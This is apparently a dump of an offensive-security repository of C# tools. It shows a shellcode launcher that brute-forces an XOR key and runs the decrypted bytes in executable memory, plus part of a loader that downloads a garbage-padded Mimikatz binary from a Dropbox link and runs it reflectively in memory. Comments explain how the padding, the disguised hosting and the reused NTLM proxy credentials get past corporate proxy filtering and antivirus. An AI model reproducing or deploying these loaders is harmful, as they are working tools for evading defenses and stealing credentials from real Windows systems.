├── bfDecryptShellcode.cs ├── netPEloader.cs ├── parseAssembly.cs ├── peloader.cs ├── readme.md ├── runfromzipinmemory.cs └── shellcodeLauncher.cs /bfDecryptShellcode.cs: -------------------------------------------------------------------------------- 1 | /* 2 | Author: Arno0x0x, Twitter: @Arno0x0x 3 | 4 | How to compile: 5 | =============== 6 | C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:bfDecryptShellcode.exe bfDecryptShellcode.cs 7 | 8 | Or, with debug information: 9 | C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /define:DEBUG /out:bfDecryptShellcode.exe bfDecryptShellcode.cs 10 | 11 | */ 12 | 13 | using System; 14 | using System.Linq; 15 | using System.Text; 16 | using System.Threading.Tasks; 17 | using System.Runtime.InteropServices; 18 | using System.Security.Cryptography; 19 | 20 | namespace BFDecryptShellcode 21 | { 22 | //============================================================================================ 23 | // Dumb static class to hold all program main parameters 24 | //============================================================================================ 25 | public static class PARAM 26 | { 27 | //---------------------------------------------------------------------------------------- 28 | // Converts a hexdigest string representation of a byte array to an actual byte array 29 | // Typically, an MD5 hash hexdigest string 30 | //---------------------------------------------------------------------------------------- 31 | private static byte[] StringToByteArray(string hex) { 32 | return Enumerable.Range(0, hex.Length) 33 | .Where(x => x % 2 == 0) 34 | .Select(x => Convert.ToByte(hex.Substring(x, 2), 16)) 35 | .ToArray(); 36 | } 37 | 38 | // <<<< ----------------------------------- >>>>> 39 | // PUT YOUR ENCRYPTED SHELLCODE HERE 40 | // The multibyte XOR encrypted shellcode 41 | public static byte[] encryptedShellcode = new byte[] { XOR ENCRYPTED SHELLCODE HERE }; 42 | // <<<< ----------------------------------- >>>>> 43 | 44 | // <<<< ----------------------------------- >>>>> 45 | // PUT THE TARGET MD5 HERE 46 | // The target (decrypted) shellcode MD5 hash. This is used to tell that the key was found 47 | public static byte[] shellcodeMD5 = StringToByteArray("target_md5_digest"); 48 | // <<<< ----------------------------------- >>>>> 49 | 50 | 51 | // The charset to be used for brute forcing the XOR key 52 | //public static string charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; 53 | //public static string charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"; 54 | public static string charset = "abcdefghijklmnopqrstuvwxyz"; 55 | 56 | // The key size 57 | public static int keySize = 5; 58 | } 59 | 60 | //============================================================================================ 61 | // 62 | //============================================================================================ 63 | class Program 64 | { 65 | //---------------------------------------------------------------------------------------- 66 | // Returns the MD5 hash of a byte array 67 | //---------------------------------------------------------------------------------------- 68 | private static byte[] GetMD5Hash(byte[] source) 69 | { 70 | return new MD5CryptoServiceProvider().ComputeHash(source); 71 | } 72 | 73 | //---------------------------------------------------------------------------------------- 74 | // Returns the XOR encrpytion/decryption of a source byte array, given a key as a byte array 75 | //---------------------------------------------------------------------------------------- 76 | private static byte[] xor(byte[] source, byte[] key) 77 | { 78 | byte[] decrypted = new byte[source.Length]; 79 | 80 | for(int i = 0; i < source.Length; i++) { 81 | decrypted[i] = (byte) (source[i] ^ key[i % key.Length]); 82 | } 83 | 84 | return decrypted; 85 | } 86 | 87 | //---------------------------------------------------------------------------------------- 88 | // BruteForces an encrypted shellcode 89 | //---------------------------------------------------------------------------------------- 90 | private static byte[] BruteForceKey(byte[] encryptedShellcode) 91 | { 92 | byte[] decryptedShellcode = null; 93 | 94 | int charsetSpace = PARAM.charset.Length; 95 | double searchSpace = Math.Pow(charsetSpace, PARAM.keySize); 96 | string key = String.Empty; 97 | byte[] computedMD5 = null; 98 | #if (DEBUG) 99 | Console.WriteLine("Charset size: [{0}]\nSearch space:[{1}]",charsetSpace,searchSpace); 100 | Console.WriteLine("Press to start..."); 101 | Console.ReadLine(); 102 | #endif 103 | //----------------------------------------- 104 | // Brute forcing key 105 | for (double i = 0; i < searchSpace; i++) { 106 | #if (DEBUG) 107 | Console.WriteLine("i:{0}",i); 108 | #endif 109 | key = String.Empty; 110 | 111 | int[] baseVector = new int[PARAM.keySize]; 112 | double reminder = i; 113 | for (int j = PARAM.keySize-1; j >= 0; j--) { 114 | baseVector[j] = (int)Math.Floor(reminder/Math.Pow(charsetSpace,j)); 115 | reminder = reminder - (baseVector[j]*Math.Pow(charsetSpace,j)); 116 | #if (DEBUG) 117 | Console.WriteLine("j:{0} --> {1}",j,baseVector[j]); 118 | #endif 119 | } 120 | 121 | for (int j = 0; j < PARAM.keySize; j++) { 122 | key = String.Format("{0}{1}",PARAM.charset[baseVector[j]],key); 123 | } 124 | #if (DEBUG) 125 | Console.WriteLine(key); 126 | #endif 127 | decryptedShellcode = xor(encryptedShellcode, Encoding.ASCII.GetBytes(key)); 128 | computedMD5 = GetMD5Hash(decryptedShellcode); 129 | if (computedMD5.SequenceEqual(PARAM.shellcodeMD5)) { 130 | #if (DEBUG) 131 | Console.WriteLine("Key found after {0} iterations: [{1}]",i,key); 132 | #endif 133 | return decryptedShellcode; 134 | } 135 | } 136 | return null; 137 | } 138 | 139 | //---------------------------------------------------------------------------------------- 140 | // MAIN FUNCTION 141 | //---------------------------------------------------------------------------------------- 142 | public static void Main() 143 | { 144 | byte[] decryptedShellcode = BruteForceKey(PARAM.encryptedShellcode); 145 | 146 | if (decryptedShellcode == null) return; 147 | 148 | //--------------------------------------------------------------------------------- 149 | // Copy decrypted shellcode to memory and execute it 150 | UInt32 funcAddr = VirtualAlloc(0, (UInt32)decryptedShellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE); 151 | Marshal.Copy(decryptedShellcode, 0, (IntPtr)(funcAddr), decryptedShellcode.Length); 152 | IntPtr hThread = IntPtr.Zero; 153 | UInt32 threadId = 0; 154 | 155 | // prepare data 156 | IntPtr pinfo = IntPtr.Zero; 157 | 158 | // execute native code 159 | hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId); 160 | WaitForSingleObject(hThread, 0xFFFFFFFF); 161 | return; 162 | } 163 | 164 | private static UInt32 MEM_COMMIT = 0x1000; 165 | private static UInt32 PAGE_EXECUTE_READWRITE = 0x40; 166 | 167 | [DllImport("kernel32")] 168 | private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, 169 | UInt32 size, UInt32 flAllocationType, UInt32 flProtect); 170 | 171 | [DllImport("kernel32")] 172 | private static extern IntPtr CreateThread( 173 | UInt32 lpThreadAttributes, 174 | UInt32 dwStackSize, 175 | UInt32 lpStartAddress, 176 | IntPtr param, 177 | UInt32 dwCreationFlags, 178 | ref UInt32 lpThreadId 179 | ); 180 | 181 | [DllImport("kernel32")] 182 | private static extern UInt32 WaitForSingleObject( 183 | IntPtr hHandle, 184 | UInt32 dwMilliseconds 185 | ); 186 | } 187 | } -------------------------------------------------------------------------------- /netPEloader.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.IO; 3 | using System.Net; 4 | using System.Text; 5 | using System.IO.Compression; 6 | using System.Collections.Generic; 7 | using System.Configuration.Install; 8 | using System.Runtime.InteropServices; 9 | 10 | /* 11 | Author: Arno0x0x, Twitter: @Arno0x0x 12 | This script is heavily based and inspired from Casey Smith (@subTee) work on Netkatz. 13 | 14 | License: BSD 3-Clause 15 | 16 | Why ? 17 | ===== 18 | Netkatz is a fantastic PoC of loading the latest mimikatz release from GitHub and execute if straight in memory. However, I faced three problems in my environment: 19 | 20 | 1. The connection to the internet has to be made through a corporate proxy requiring NTLM authentication (Windows SSO is OK) 21 | 2. The github page of Mimikatz is blocked by the corporate proxy due to website categorization 22 | 3. The mimikatz_trunked.zip file is being detected by the proxy AV (yes, with SSL inspection turned on at the proxy level) 23 | 24 | So I modified the original netkatz script to address these 3 issues: 25 | 26 | 1. Added system proxy and default credentials (currently logged on Windows user) support 27 | 2. Hosting the PE on a non blocked web site, innocent looking like www.dropbox.com 28 | 3. As per making the PE undetectable by AV, we could go throuth various obfuscation methods like encrypting, specific encoding, but I like the simple technique of adding 65536 random garbage bytes at the beginning of the real x64 Mimikatz PE: 29 | - dd if=/dev/urandom of=garbage bs=65536 count=1 30 | - cat garbage mimikatz.exe > mimiHidden 31 | - Upload mimiHidden to dropbox and share it 32 | 33 | How to compile: 34 | =============== 35 | C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:netPEloader.exe netPEloader.cs 36 | 37 | How to use: 38 | ============ 39 | c:\> netPEloader.exe 40 | 41 | */ 42 | 43 | namespace PELoader 44 | { 45 | class Program 46 | { 47 | public static void Main() 48 | { 49 | 50 | WebClient downloadPEFile = new WebClient(); 51 | 52 | IWebProxy defaultProxy = WebRequest.DefaultWebProxy; 53 | if (defaultProxy != null) 54 | { 55 | defaultProxy.Credentials = CredentialCache.DefaultCredentials; 56 | downloadPEFile.Proxy = defaultProxy; 57 | } 58 | 59 | byte[] unpacked = null; 60 | 61 | try 62 | { 63 | // Download the hidden PE file from an innocent web site like DropBox 64 | byte[] tempArray = downloadPEFile.DownloadData(@"https://www.dropbox.com/s/0gfiwc1cwdrzlfl/mimiHidden?raw=1"); 65 | 66 | // Remove the first 65536 bytes of random garbage I've put before the real PE (avoids proxy AV) 67 | unpacked = new byte[tempArray.Length - 65536]; 68 | Buffer.BlockCopy(tempArray, 65536, unpacked, 0, unpacked.Length); 69 | 70 | } 71 | catch (Exception ex) 72 | { 73 | while (ex != null) 74 | { 75 | Console.WriteLine(ex.Message); 76 | ex = ex.InnerException; 77 | } 78 | } 79 | 80 | Console.WriteLine("Downloaded PE and decoded it."); 81 | PELoader pe = new PELoader(unpacked); 82 | 83 | 84 | Console.WriteLine("Preferred Load Address = {0}", pe.OptionalHeader64.ImageBase.ToString("X4")); 85 | 86 | IntPtr codebase = IntPtr.Zero; 87 | 88 | codebase = NativeDeclarations.VirtualAlloc(IntPtr.Zero, pe.OptionalHeader64.SizeOfImage, NativeDeclarations.MEM_COMMIT, NativeDeclarations.PAGE_EXECUTE_READWRITE); 89 | 90 | Console.WriteLine("Allocated Space For {0} at {1}", pe.OptionalHeader64.SizeOfImage.ToString("X4"), codebase.ToString("X4")); 91 | 92 | 93 | //Copy Sections 94 | for (int i = 0; i < pe.FileHeader.NumberOfSections; i++) 95 | { 96 | 97 | IntPtr y = NativeDeclarations.VirtualAlloc(IntPtr.Add(codebase, (int)pe.ImageSectionHeaders[i].VirtualAddress), pe.ImageSectionHeaders[i].SizeOfRawData, NativeDeclarations.MEM_COMMIT, NativeDeclarations.PAGE_EXECUTE_READWRITE); 98 | Marshal.Copy(pe.RawBytes, (int)pe.ImageSectionHeaders[i].PointerToRawData, y, (int)pe.ImageSectionHeaders[i].SizeOfRawData); 99 | Console.WriteLine("Section {0}, Copied To {1}", new string(pe.ImageSectionHeaders[i].Name), y.ToString("X4")); 100 | } 101 | 102 | //Perform Base Relocation 103 | //Calculate Delta 104 | long currentbase = (long)codebase.ToInt64(); 105 | long delta; 106 | 107 | delta = (long)(currentbase - (long)pe.OptionalHeader64.ImageBase); 108 | 109 | 110 | Console.WriteLine("Delta = {0}", delta.ToString("X4")); 111 | 112 | //Modify Memory Based On Relocation Table 113 | 114 | //Console.WriteLine(pe.OptionalHeader64.BaseRelocationTable.VirtualAddress.ToString("X4")); 115 | //Console.WriteLine(pe.OptionalHeader64.BaseRelocationTable.Size.ToString("X4")); 116 | 117 | IntPtr relocationTable = (IntPtr.Add(codebase, (int)pe.OptionalHeader64.BaseRelocationTable.VirtualAddress)); 118 | //Console.WriteLine(relocationTable.ToString("X4")); 119 | 120 | NativeDeclarations.IMAGE_BASE_RELOCATION relocationEntry = new NativeDeclarations.IMAGE_BASE_RELOCATION(); 121 | relocationEntry = (NativeDeclarations.IMAGE_BASE_RELOCATION)Marshal.PtrToStructure(relocationTable, typeof(NativeDeclarations.IMAGE_BASE_RELOCATION)); 122 | //Console.WriteLine(relocationEntry.VirtualAdress.ToString("X4")); 123 | //Console.WriteLine(relocationEntry.SizeOfBlock.ToString("X4")); 124 | 125 | int imageSizeOfBaseRelocation = Marshal.SizeOf(typeof(NativeDeclarations.IMAGE_BASE_RELOCATION)); 126 | IntPtr nextEntry = relocationTable; 127 | int sizeofNextBlock = (int)relocationEntry.SizeOfBlock; 128 | IntPtr offset = relocationTable; 129 | 130 | while (true) 131 | { 132 | 133 | NativeDeclarations.IMAGE_BASE_RELOCATION relocationNextEntry = new NativeDeclarations.IMAGE_BASE_RELOCATION(); 134 | IntPtr x = IntPtr.Add(relocationTable, sizeofNextBlock); 135 | relocationNextEntry = (NativeDeclarations.IMAGE_BASE_RELOCATION)Marshal.PtrToStructure(x, typeof(NativeDeclarations.IMAGE_BASE_RELOCATION)); 136 | 137 | 138 | IntPtr dest = IntPtr.Add(codebase, (int)relocationEntry.VirtualAdress); 139 | 140 | 141 | //Console.WriteLine("Section Has {0} Entires",(int)(relocationEntry.SizeOfBlock - imageSizeOfBaseRelocation) /2); 142 | //Console.WriteLine("Next Section Has {0} Entires", (int)(relocationNextEntry.SizeOfBlock - imageSizeOfBaseRelocation) / 2); 143 | 144 | for (int i = 0; i < (int)((relocationEntry.SizeOfBlock - imageSizeOfBaseRelocation) / 2); i++) 145 | { 146 | 147 | IntPtr patchAddr; 148 | UInt16 value = (UInt16)Marshal.ReadInt16(offset, 8 + (2 * i)); 149 | 150 | UInt16 type = (UInt16)(value >> 12); 151 | UInt16 fixup = (UInt16)(value & 0xfff); 152 | //Console.WriteLine("{0}, {1}, {2}", value.ToString("X4"), type.ToString("X4"), fixup.ToString("X4")); 153 | 154 | switch (type) 155 | { 156 | case 0x0: 157 | break; 158 | case 0xA: 159 | patchAddr = IntPtr.Add(dest, fixup); 160 | //Add Delta To Location. 161 | long originalAddr = Marshal.ReadInt64(patchAddr); 162 | Marshal.WriteInt64(patchAddr, originalAddr + delta); 163 | break; 164 | 165 | } 166 | 167 | } 168 | 169 | offset = IntPtr.Add(relocationTable, sizeofNextBlock); 170 | sizeofNextBlock += (int)relocationNextEntry.SizeOfBlock; 171 | relocationEntry = relocationNextEntry; 172 | 173 | nextEntry = IntPtr.Add(nextEntry, sizeofNextBlock); 174 | 175 | if (relocationNextEntry.SizeOfBlock == 0) break; 176 | 177 | 178 | } 179 | 180 | 181 | //Resolve Imports 182 | 183 | IntPtr z = IntPtr.Add(codebase, (int)pe.ImageSectionHeaders[1].VirtualAddress); 184 | IntPtr oa1 = IntPtr.Add(codebase, (int)pe.OptionalHeader64.ImportTable.VirtualAddress); 185 | int oa2 = Marshal.ReadInt32(IntPtr.Add(oa1, 16)); 186 | 187 | //Get And Display Each DLL To Load 188 | for (int j = 0; j < 999; j++) //HardCoded Number of DLL's Do this Dynamically. 189 | { 190 | IntPtr a1 = IntPtr.Add(codebase, (20 * j) + (int)pe.OptionalHeader64.ImportTable.VirtualAddress); 191 | int entryLength = Marshal.ReadInt32(IntPtr.Add(a1, 16)); 192 | IntPtr a2 = IntPtr.Add(codebase, (int)pe.ImageSectionHeaders[1].VirtualAddress + (entryLength - oa2)); //Need just last part? 193 | IntPtr dllNamePTR = (IntPtr)(IntPtr.Add(codebase, +Marshal.ReadInt32(IntPtr.Add(a1, 12)))); 194 | string DllName = Marshal.PtrToStringAnsi(dllNamePTR); 195 | if (DllName == "") { break; } 196 | 197 | IntPtr handle = NativeDeclarations.LoadLibrary(DllName); 198 | Console.WriteLine("Loaded {0}", DllName); 199 | for (int k = 1; k < 9999; k++) 200 | { 201 | IntPtr dllFuncNamePTR = (IntPtr.Add(codebase, +Marshal.ReadInt32(a2))); 202 | string DllFuncName = Marshal.PtrToStringAnsi(IntPtr.Add(dllFuncNamePTR, 2)); 203 | //Console.WriteLine("Function {0}", DllFuncName); 204 | IntPtr funcAddy = NativeDeclarations.GetProcAddress(handle, DllFuncName); 205 | Marshal.WriteInt64(a2, (long)funcAddy); 206 | a2 = IntPtr.Add(a2, 8); 207 | if (DllFuncName == "") break; 208 | 209 | } 210 | 211 | 212 | //Console.ReadLine(); 213 | } 214 | 215 | //Transfer Control To OEP 216 | Console.WriteLine("Executing PE"); 217 | IntPtr threadStart = IntPtr.Add(codebase, (int)pe.OptionalHeader64.AddressOfEntryPoint); 218 | IntPtr hThread = NativeDeclarations.CreateThread(IntPtr.Zero, 0, threadStart, IntPtr.Zero, 0, IntPtr.Zero); 219 | NativeDeclarations.WaitForSingleObject(hThread, 0xFFFFFFFF); 220 | 221 | Console.WriteLine("Thread Complete"); 222 | //Console.ReadLine(); 223 | 224 | 225 | 226 | } //End Main 227 | 228 | 229 | 230 | }//End Program 231 | 232 | public class PELoader 233 | { 234 | public struct IMAGE_DOS_HEADER 235 | { // DOS .EXE header 236 | public UInt16 e_magic; // Magic number 237 | public UInt16 e_cblp; // Bytes on last page of file 238 | public UInt16 e_cp; // Pages in file 239 | public UInt16 e_crlc; // Relocations 240 | public UInt16 e_cparhdr; // Size of header in paragraphs 241 | public UInt16 e_minalloc; // Minimum extra paragraphs needed 242 | public UInt16 e_maxalloc; // Maximum extra paragraphs needed 243 | public UInt16 e_ss; // Initial (relative) SS value 244 | public UInt16 e_sp; // Initial SP value 245 | public UInt16 e_csum; // Checksum 246 | public UInt16 e_ip; // Initial IP value 247 | public UInt16 e_cs; // Initial (relative) CS value 248 | public UInt16 e_lfarlc; // File address of relocation table 249 | public UInt16 e_ovno; // Overlay number 250 | public UInt16 e_res_0; // Reserved words 251 | public UInt16 e_res_1; // Reserved words 252 | public UInt16 e_res_2; // Reserved words 253 | public UInt16 e_res_3; // Reserved words 254 | public UInt16 e_oemid; // OEM identifier (for e_oeminfo) 255 | public UInt16 e_oeminfo; // OEM information; e_oemid specific 256 | public UInt16 e_res2_0; // Reserved words 257 | public UInt16 e_res2_1; // Reserved words 258 | public UInt16 e_res2_2; // Reserved words 259 | public UInt16 e_res2_3; // Reserved words 260 | public UInt16 e_res2_4; // Reserved words 261 | public UInt16 e_res2_5; // Reserved words 262 | public UInt16 e_res2_6; // Reserved words 263 | public UInt16 e_res2_7; // Reserved words 264 | public UInt16 e_res2_8; // Reserved words 265 | public UInt16 e_res2_9; // Reserved words 266 | public UInt32 e_lfanew; // File address of new exe header 267 | } 268 | 269 | [StructLayout(LayoutKind.Sequential)] 270 | public struct IMAGE_DATA_DIRECTORY 271 | { 272 | public UInt32 VirtualAddress; 273 | public UInt32 Size; 274 | } 275 | 276 | [StructLayout(LayoutKind.Sequential, Pack = 1)] 277 | public struct IMAGE_OPTIONAL_HEADER32 278 | { 279 | public UInt16 Magic; 280 | public Byte MajorLinkerVersion; 281 | public Byte MinorLinkerVersion; 282 | public UInt32 SizeOfCode; 283 | public UInt32 SizeOfInitializedData; 284 | public UInt32 SizeOfUninitializedData; 285 | public UInt32 AddressOfEntryPoint; 286 | public UInt32 BaseOfCode; 287 | public UInt32 BaseOfData; 288 | public UInt32 ImageBase; 289 | public UInt32 SectionAlignment; 290 | public UInt32 FileAlignment; 291 | public UInt16 MajorOperatingSystemVersion; 292 | public UInt16 MinorOperatingSystemVersion; 293 | public UInt16 MajorImageVersion; 294 | public UInt16 MinorImageVersion; 295 | public UInt16 MajorSubsystemVersion; 296 | public UInt16 MinorSubsystemVersion; 297 | public UInt32 Win32VersionValue; 298 | public UInt32 SizeOfImage; 299 | public UInt32 SizeOfHeaders; 300 | public UInt32 CheckSum; 301 | public UInt16 Subsystem; 302 | public UInt16 DllCharacteristics; 303 | public UInt32 SizeOfStackReserve; 304 | public UInt32 SizeOfStackCommit; 305 | public UInt32 SizeOfHeapReserve; 306 | public UInt32 SizeOfHeapCommit; 307 | public UInt32 LoaderFlags; 308 | public UInt32 NumberOfRvaAndSizes; 309 | 310 | public IMAGE_DATA_DIRECTORY ExportTable; 311 | public IMAGE_DATA_DIRECTORY ImportTable; 312 | public IMAGE_DATA_DIRECTORY ResourceTable; 313 | public IMAGE_DATA_DIRECTORY ExceptionTable; 314 | public IMAGE_DATA_DIRECTORY CertificateTable; 315 | public IMAGE_DATA_DIRECTORY BaseRelocationTable; 316 | public IMAGE_DATA_DIRECTORY Debug; 317 | public IMAGE_DATA_DIRECTORY Architecture; 318 | public IMAGE_DATA_DIRECTORY GlobalPtr; 319 | public IMAGE_DATA_DIRECTORY TLSTable; 320 | public IMAGE_DATA_DIRECTORY LoadConfigTable; 321 | public IMAGE_DATA_DIRECTORY BoundImport; 322 | public IMAGE_DATA_DIRECTORY IAT; 323 | public IMAGE_DATA_DIRECTORY DelayImportDescriptor; 324 | public IMAGE_DATA_DIRECTORY CLRRuntimeHeader; 325 | public IMAGE_DATA_DIRECTORY Reserved; 326 | } 327 | 328 | [StructLayout(LayoutKind.Sequential, Pack = 1)] 329 | public struct IMAGE_OPTIONAL_HEADER64 330 | { 331 | public UInt16 Magic; 332 | public Byte MajorLinkerVersion; 333 | public Byte MinorLinkerVersion; 334 | public UInt32 SizeOfCode; 335 | public UInt32 SizeOfInitializedData; 336 | public UInt32 SizeOfUninitializedData; 337 | public UInt32 AddressOfEntryPoint; 338 | public UInt32 BaseOfCode; 339 | public UInt64 ImageBase; 340 | public UInt32 SectionAlignment; 341 | public UInt32 FileAlignment; 342 | public UInt16 MajorOperatingSystemVersion; 343 | public UInt16 MinorOperatingSystemVersion; 344 | public UInt16 MajorImageVersion; 345 | public UInt16 MinorImageVersion; 346 | public UInt16 MajorSubsystemVersion; 347 | public UInt16 MinorSubsystemVersion; 348 | public UInt32 Win32VersionValue; 349 | public UInt32 SizeOfImage; 350 | public UInt32 SizeOfHeaders; 351 | public UInt32 CheckSum; 352 | public UInt16 Subsystem; 353 | public UInt16 DllCharacteristics; 354 | public UInt64 SizeOfStackReserve; 355 | public UInt64 SizeOfStackCommit; 356 | public UInt64 SizeOfHeapReserve; 357 | public UInt64 SizeOfHeapCommit; 358 | public UInt32 LoaderFlags; 359 | public UInt32 NumberOfRvaAndSizes; 360 | 361 | public IMAGE_DATA_DIRECTORY ExportTable; 362 | public IMAGE_DATA_DIRECTORY ImportTable; 363 | public IMAGE_DATA_DIRECTORY ResourceTable; 364 | public IMAGE_DATA_DIRECTORY ExceptionTable; 365 | public IMAGE_DATA_DIRECTORY CertificateTable; 366 | public IMAGE_DATA_DIRECTORY BaseRelocationTable; 367 | public IMAGE_DATA_DIRECTORY Debug; 368 | public IMAGE_DATA_DIRECTORY Architecture; 369 | public IMAGE_DATA_DIRECTORY GlobalPtr; 370 | public IMAGE_DATA_DIRECTORY TLSTable; 371 | public IMAGE_DATA_DIRECTORY LoadConfigTable; 372 | public IMAGE_DATA_DIRECTORY BoundImport; 373 | public IMAGE_DATA_DIRECTORY IAT; 374 | public IMAGE_DATA_DIRECTORY DelayImportDescriptor; 375 | public IMAGE_DATA_DIRECTORY CLRRuntimeHeader; 376 | public IMAGE_DATA_DIRECTORY Reserved; 377 | } 378 | 379 | [StructLayout(LayoutKind.Sequential, Pack = 1)] 380 | public struct IMAGE_FILE_HEADER 381 | { 382 | public UInt16 Machine; 383 | public UInt16 NumberOfSections; 384 | public UInt32 TimeDateStamp; 385 | public UInt32 PointerToSymbolTable; 386 | public UInt32 NumberOfSymbols; 387 | public UInt16 SizeOfOptionalHeader; 388 | public UInt16 Characteristics; 389 | } 390 | 391 | [StructLayout(LayoutKind.Explicit)] 392 | public struct IMAGE_SECTION_HEADER 393 | { 394 | [FieldOffset(0)] 395 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)] 396 | public char[] Name; 397 | [FieldOffset(8)] 398 | public UInt32 VirtualSize; 399 | [FieldOffset(12)] 400 | public UInt32 VirtualAddress; 401 | [FieldOffset(16)] 402 | public UInt32 SizeOfRawData; 403 | [FieldOffset(20)] 404 | public UInt32 PointerToRawData; 405 | [FieldOffset(24)] 406 | public UInt32 PointerToRelocations; 407 | [FieldOffset(28)] 408 | public UInt32 PointerToLinenumbers; 409 | [FieldOffset(32)] 410 | public UInt16 NumberOfRelocations; 411 | [FieldOffset(34)] 412 | public UInt16 NumberOfLinenumbers; 413 | [FieldOffset(36)] 414 | public DataSectionFlags Characteristics; 415 | 416 | public string Section 417 | { 418 | get { return new string(Name); } 419 | } 420 | } 421 | 422 | [StructLayout(LayoutKind.Sequential)] 423 | public struct IMAGE_BASE_RELOCATION 424 | { 425 | public uint VirtualAdress; 426 | public uint SizeOfBlock; 427 | } 428 | 429 | [Flags] 430 | public enum DataSectionFlags : uint 431 | { 432 | 433 | Stub = 0x00000000, 434 | 435 | } 436 | 437 | 438 | /// The DOS header 439 | 440 | private IMAGE_DOS_HEADER dosHeader; 441 | 442 | /// The file header 443 | 444 | private IMAGE_FILE_HEADER fileHeader; 445 | 446 | /// Optional 32 bit file header 447 | 448 | private IMAGE_OPTIONAL_HEADER32 optionalHeader32; 449 | 450 | /// Optional 64 bit file header 451 | 452 | private IMAGE_OPTIONAL_HEADER64 optionalHeader64; 453 | 454 | /// Image Section headers. Number of sections is in the file header. 455 | 456 | private IMAGE_SECTION_HEADER[] imageSectionHeaders; 457 | 458 | private byte[] rawbytes; 459 | 460 | 461 | 462 | public PELoader(string filePath) 463 | { 464 | // Read in the DLL or EXE and get the timestamp 465 | using (FileStream stream = new FileStream(filePath, System.IO.FileMode.Open, System.IO.FileAccess.Read)) 466 | { 467 | BinaryReader reader = new BinaryReader(stream); 468 | dosHeader = FromBinaryReader(reader); 469 | 470 | // Add 4 bytes to the offset 471 | stream.Seek(dosHeader.e_lfanew, SeekOrigin.Begin); 472 | 473 | UInt32 ntHeadersSignature = reader.ReadUInt32(); 474 | fileHeader = FromBinaryReader(reader); 475 | if (this.Is32BitHeader) 476 | { 477 | optionalHeader32 = FromBinaryReader(reader); 478 | } 479 | else 480 | { 481 | optionalHeader64 = FromBinaryReader(reader); 482 | } 483 | 484 | imageSectionHeaders = new IMAGE_SECTION_HEADER[fileHeader.NumberOfSections]; 485 | for (int headerNo = 0; headerNo < imageSectionHeaders.Length; ++headerNo) 486 | { 487 | imageSectionHeaders[headerNo] = FromBinaryReader(reader); 488 | } 489 | 490 | 491 | 492 | rawbytes = System.IO.File.ReadAllBytes(filePath); 493 | 494 | } 495 | } 496 | 497 | public PELoader(byte[] fileBytes) 498 | { 499 | // Read in the DLL or EXE and get the timestamp 500 | using (MemoryStream stream = new MemoryStream(fileBytes, 0, fileBytes.Length)) 501 | { 502 | BinaryReader reader = new BinaryReader(stream); 503 | dosHeader = FromBinaryReader(reader); 504 | 505 | // Add 4 bytes to the offset 506 | stream.Seek(dosHeader.e_lfanew, SeekOrigin.Begin); 507 | 508 | UInt32 ntHeadersSignature = reader.ReadUInt32(); 509 | fileHeader = FromBinaryReader(reader); 510 | if (this.Is32BitHeader) 511 | { 512 | optionalHeader32 = FromBinaryReader(reader); 513 | } 514 | else 515 | { 516 | optionalHeader64 = FromBinaryReader(reader); 517 | } 518 | 519 | imageSectionHeaders = new IMAGE_SECTION_HEADER[fileHeader.NumberOfSections]; 520 | for (int headerNo = 0; headerNo < imageSectionHeaders.Length; ++headerNo) 521 | { 522 | imageSectionHeaders[headerNo] = FromBinaryReader(reader); 523 | } 524 | 525 | 526 | rawbytes = fileBytes; 527 | 528 | } 529 | } 530 | 531 | 532 | public static T FromBinaryReader(BinaryReader reader) 533 | { 534 | // Read in a byte array 535 | byte[] bytes = reader.ReadBytes(Marshal.SizeOf(typeof(T))); 536 | 537 | // Pin the managed memory while, copy it out the data, then unpin it 538 | GCHandle handle = GCHandle.Alloc(bytes, GCHandleType.Pinned); 539 | T theStructure = (T)Marshal.PtrToStructure(handle.AddrOfPinnedObject(), typeof(T)); 540 | handle.Free(); 541 | 542 | return theStructure; 543 | } 544 | 545 | 546 | 547 | public bool Is32BitHeader 548 | { 549 | get 550 | { 551 | UInt16 IMAGE_FILE_32BIT_MACHINE = 0x0100; 552 | return (IMAGE_FILE_32BIT_MACHINE & FileHeader.Characteristics) == IMAGE_FILE_32BIT_MACHINE; 553 | } 554 | } 555 | 556 | 557 | public IMAGE_FILE_HEADER FileHeader 558 | { 559 | get 560 | { 561 | return fileHeader; 562 | } 563 | } 564 | 565 | 566 | /// Gets the optional header 567 | 568 | public IMAGE_OPTIONAL_HEADER32 OptionalHeader32 569 | { 570 | get 571 | { 572 | return optionalHeader32; 573 | } 574 | } 575 | 576 | 577 | /// Gets the optional header 578 | 579 | public IMAGE_OPTIONAL_HEADER64 OptionalHeader64 580 | { 581 | get 582 | { 583 | return optionalHeader64; 584 | } 585 | } 586 | 587 | public IMAGE_SECTION_HEADER[] ImageSectionHeaders 588 | { 589 | get 590 | { 591 | return imageSectionHeaders; 592 | } 593 | } 594 | 595 | public byte[] RawBytes 596 | { 597 | get 598 | { 599 | return rawbytes; 600 | } 601 | 602 | } 603 | 604 | }//End Class 605 | 606 | 607 | unsafe class NativeDeclarations 608 | { 609 | 610 | public static uint MEM_COMMIT = 0x1000; 611 | public static uint MEM_RESERVE = 0x2000; 612 | public static uint PAGE_EXECUTE_READWRITE = 0x40; 613 | public static uint PAGE_READWRITE = 0x04; 614 | 615 | [StructLayout(LayoutKind.Sequential)] 616 | public unsafe struct IMAGE_BASE_RELOCATION 617 | { 618 | public uint VirtualAdress; 619 | public uint SizeOfBlock; 620 | } 621 | 622 | [DllImport("kernel32")] 623 | public static extern IntPtr VirtualAlloc(IntPtr lpStartAddr, uint size, uint flAllocationType, uint flProtect); 624 | 625 | [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)] 626 | public static extern IntPtr LoadLibrary(string lpFileName); 627 | 628 | [DllImport("kernel32.dll", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)] 629 | public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); 630 | 631 | [DllImport("kernel32")] 632 | public static extern IntPtr CreateThread( 633 | 634 | IntPtr lpThreadAttributes, 635 | uint dwStackSize, 636 | IntPtr 